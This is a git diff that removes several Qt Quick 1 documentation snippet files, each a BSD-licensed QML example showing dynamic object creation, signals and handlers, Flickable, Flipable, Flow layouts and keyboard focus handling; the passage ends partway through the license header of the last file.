b/doc/src/snippets/qtquick1/createQmlObject.qml deleted file mode 100644 index 5a780426bc..0000000000 --- a/doc/src/snippets/qtquick1/createQmlObject.qml +++ /dev/null @@ -1,61 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: parentItem - - width: 100 - height: 100 - - function createIt() { -//![0] -var newObject = Qt.createQmlObject('import QtQuick 1.0; Rectangle {color: "red"; width: 20; height: 20}', - parentItem, "dynamicSnippet1"); -//![0] - -//![destroy] -newObject.destroy(1000); -//![destroy] - } - - Component.onCompleted: createIt() -} diff --git a/doc/src/snippets/qtquick1/dynamicObjects-destroy.qml b/doc/src/snippets/qtquick1/dynamicObjects-destroy.qml deleted file mode 100644 index 841f8603f3..0000000000 --- a/doc/src/snippets/qtquick1/dynamicObjects-destroy.qml +++ /dev/null @@ -1,55 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Item { - id: container - width: 500; height: 100 - - Component.onCompleted: { - var component = Qt.createComponent("SelfDestroyingRect.qml"); - for (var i=0; i<5; i++) { - var object = component.createObject(container); - object.x = (object.width + 10) * i; - } - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/events.qml b/doc/src/snippets/qtquick1/events.qml deleted file mode 100644 index 332805bf3d..0000000000 --- a/doc/src/snippets/qtquick1/events.qml +++ /dev/null @@ -1,141 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![document] -import QtQuick 1.0 - -//![parent begin] -Rectangle { -//![parent begin] - - id: screen - width: 400; height: 500 - -//! [signal declaration] - signal trigger - signal send (string notice) - signal perform (string task, variant object) -//! [signal declaration] - -//! [signal handler declaration] -onTrigger: console.log("trigger signal emitted") - -onSend: { - console.log("send signal emitted with notice: " + notice) -} - -onPerform: console.log("perform signal emitted") -//! [signal handler declaration] - -//! [automatic signals] -Rectangle { - id: sprite - width: 25; height: 25 - x: 50; y: 15 - - onXChanged: console.log("x property changed, emitted xChanged signal") - onYChanged: console.log("y property changed, emitted yChanged signal") -} -//! [automatic signals] - -//! [signal emit] -Rectangle { - id: messenger - - signal send( string person, string notice) - - onSend: { - console.log("For " + person + ", the notice is: " + notice) - } - - Component.onCompleted: messenger.send("Tom", "the door is ajar.") -} -//! [signal emit] - -//! [connect method] -Rectangle { - id: relay - - signal send( string person, string notice) - onSend: console.log("Send signal to: " + person + ", " + notice) - - Component.onCompleted: { - relay.send.connect(sendToPost) - relay.send.connect(sendToTelegraph) - relay.send.connect(sendToEmail) - relay.send("Tom", "Happy Birthday") - } - - function sendToPost(person, notice) { - console.log("Sending to post: " + person + ", " + notice) - } - function sendToTelegraph(person, notice) { - console.log("Sending to telegraph: " + person + ", " + notice) - } - function sendToEmail(person, notice) { - console.log("Sending to email: " + person + ", " + notice) - } -} -//! [connect method] - -//! [forward signal] -Rectangle { - id: forwarder - width: 100; height: 100 - - signal send() - onSend: console.log("Send clicked") - - MouseArea { - id: mousearea - anchors.fill: parent - onClicked: console.log("MouseArea clicked") - } - Component.onCompleted: { - mousearea.clicked.connect(send) - } -} -//! [forward signal] - -//! [connect method] -//![parent end] -} -//![parent end] - -//![document] diff --git a/doc/src/snippets/qtquick1/flickable.qml b/doc/src/snippets/qtquick1/flickable.qml deleted file mode 100644 index 715178f7b3..0000000000 --- a/doc/src/snippets/qtquick1/flickable.qml +++ /dev/null @@ -1,50 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -Flickable { - width: 200; height: 200 - contentWidth: image.width; contentHeight: image.height - - Image { id: image; source: "bigImage.png" } -} -//! [document] diff --git a/doc/src/snippets/qtquick1/flickableScrollbar.qml b/doc/src/snippets/qtquick1/flickableScrollbar.qml deleted file mode 100644 index 1823498fb6..0000000000 --- a/doc/src/snippets/qtquick1/flickableScrollbar.qml +++ /dev/null @@ -1,66 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -//![0] -Rectangle { - width: 200; height: 200 - - Flickable { - id: flickable -//![0] - anchors.fill: parent - contentWidth: image.width; contentHeight: image.height - - Image { id: image; source: "pics/qt.png" } -//![1] - } - - Rectangle { - id: scrollbar - anchors.right: flickable.right - y: flickable.visibleArea.yPosition * flickable.height - width: 10 - height: flickable.visibleArea.heightRatio * flickable.height - color: "black" - } -} -//![1] diff --git a/doc/src/snippets/qtquick1/flipable/flipable.qml b/doc/src/snippets/qtquick1/flipable/flipable.qml deleted file mode 100644 index 5410790251..0000000000 --- a/doc/src/snippets/qtquick1/flipable/flipable.qml +++ /dev/null @@ -1,78 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [0] -import QtQuick 1.0 - -Flipable { - id: flipable - width: 240 - height: 240 - - property bool flipped: false - - front: Image { source: "front.png"; anchors.centerIn: parent } - back: Image { source: "back.png"; anchors.centerIn: parent } - - transform: Rotation { - id: rotation - origin.x: flipable.width/2 - origin.y: flipable.height/2 - axis.x: 0; axis.y: 1; axis.z: 0 // set axis.y to 1 to rotate around y-axis - angle: 0 // the default angle - } - - states: State { - name: "back" - PropertyChanges { target: rotation; angle: 180 } - when: flipable.flipped - } - - transitions: Transition { - NumberAnimation { target: rotation; property: "angle"; duration: 4000 } - } - - MouseArea { - anchors.fill: parent - onClicked: flipable.flipped = !flipable.flipped - } -} -//! [0] - diff --git a/doc/src/snippets/qtquick1/flow.qml b/doc/src/snippets/qtquick1/flow.qml deleted file mode 100644 index a5f2ffe8eb..0000000000 --- a/doc/src/snippets/qtquick1/flow.qml +++ /dev/null @@ -1,64 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -Rectangle { - color: "lightblue" - width: 300; height: 200 - -//! [flow item] - Flow { - anchors.fill: parent - anchors.margins: 4 - spacing: 10 - - Text { text: "Text"; font.pixelSize: 40 } - Text { text: "items"; font.pixelSize: 40 } - Text { text: "flowing"; font.pixelSize: 40 } - Text { text: "inside"; font.pixelSize: 40 } - Text { text: "a"; font.pixelSize: 40 } - Text { text: "Flow"; font.pixelSize: 40 } - Text { text: "item"; font.pixelSize: 40 } - } -//! [flow item] -} -//! [document] diff --git a/doc/src/snippets/qtquick1/focus/MyClickableWidget.qml b/doc/src/snippets/qtquick1/focus/MyClickableWidget.qml deleted file mode 100644 index 3b5834bfa9..0000000000 --- a/doc/src/snippets/qtquick1/focus/MyClickableWidget.qml +++ /dev/null @@ -1,69 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -//! [clickable in focusscope] -FocusScope { - - id: scope - - //FocusScope needs to bind to visual properties of the children - property alias color: rectangle.color - x: rectangle.x; y: rectangle.y - width: rectangle.width; height: rectangle.height - - Rectangle { - id: rectangle - anchors.centerIn: parent - color: "lightsteelblue"; width: 175; height: 25; radius: 10; smooth: true - Text { id: label; anchors.centerIn: parent } - focus: true - Keys.onPressed: { - if (event.key == Qt.Key_A) - label.text = 'Key A was pressed' - else if (event.key == Qt.Key_B) - label.text = 'Key B was pressed' - else if (event.key == Qt.Key_C) - label.text = 'Key C was pressed' - } - } - MouseArea { anchors.fill: parent; onClicked: { scope.focus = true } } -} -//! [clickable in focusscope] diff --git a/doc/src/snippets/qtquick1/focus/MyWidget.qml b/doc/src/snippets/qtquick1/focus/MyWidget.qml deleted file mode 100644 index ca44ec04ae..0000000000 --- a/doc/src/snippets/qtquick1/focus/MyWidget.qml +++ /dev/null @@ -1,58 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//! [document] -import QtQuick 1.0 - -//! [mywidget] -Rectangle { - id: widget - color: "lightsteelblue"; width: 175; height: 25; radius: 10; smooth: true - Text { id: label; anchors.centerIn: parent} - focus: true - Keys.onPressed: { - if (event.key == Qt.Key_A) - label.text = 'Key A was pressed' - else if (event.key == Qt.Key_B) - label.text = 'Key B was pressed' - else if (event.key == Qt.Key_C) - label.text = 'Key C was pressed' - } -} -//! [mywidget] diff --git a/doc/src/snippets/qtquick1/focus/advancedFocus.qml b/doc/src/snippets/qtquick1/focus/advancedFocus.qml deleted file mode 100644 index ab26cf39d1..0000000000 --- a/doc/src/snippets/qtquick1/focus/advancedFocus.qml +++ /dev/null @@ -1,67 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -//! [FocusScope delegate] -Rectangle { - color: "lightsteelblue"; width: 100; height: 50 - - ListView { - anchors.fill: parent - focus: true - - model: ListModel { - ListElement { name: "Bob" } - ListElement { name: "John" } - ListElement { name: "Michael" } - } - - delegate: FocusScope { - width: childrenRect.width; height: childrenRect.height - x:childrenRect.x; y: childrenRect.y - TextInput { - focus: true - text: name - Keys.onReturnPressed: console.log(name) - } - } - } -} -//! [FocusScope delegate] diff --git a/doc/src/snippets/qtquick1/focus/basicwidget.qml b/doc/src/snippets/qtquick1/focus/basicwidget.qml deleted file mode 100644 index c3b2a26343..0000000000 --- a/doc/src/snippets/qtquick1/focus/basicwidget.qml +++ /dev/null @@ -1,59 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -//! [focus true] -Rectangle { - color: "lightsteelblue"; width: 240; height: 25 - Text { id: myText } - Item { - id: keyHandler - focus: true - Keys.onPressed: { - if (event.key == Qt.Key_A) - myText.text = 'Key A was pressed' - else if (event.key == Qt.Key_B) - myText.text = 'Key B was pressed' - else if (event.key == Qt.Key_C) - myText.text = 'Key C was pressed' - } - } -} -//! [focus true] diff --git a/doc/src/snippets/qtquick1/focus/clickablewidget.qml b/doc/src/snippets/qtquick1/focus/clickablewidget.qml deleted file mode 100644 index cc1fa3f9fa..0000000000 --- a/doc/src/snippets/qtquick1/focus/clickablewidget.qml +++ /dev/null @@ -1,61 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the FOO module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this 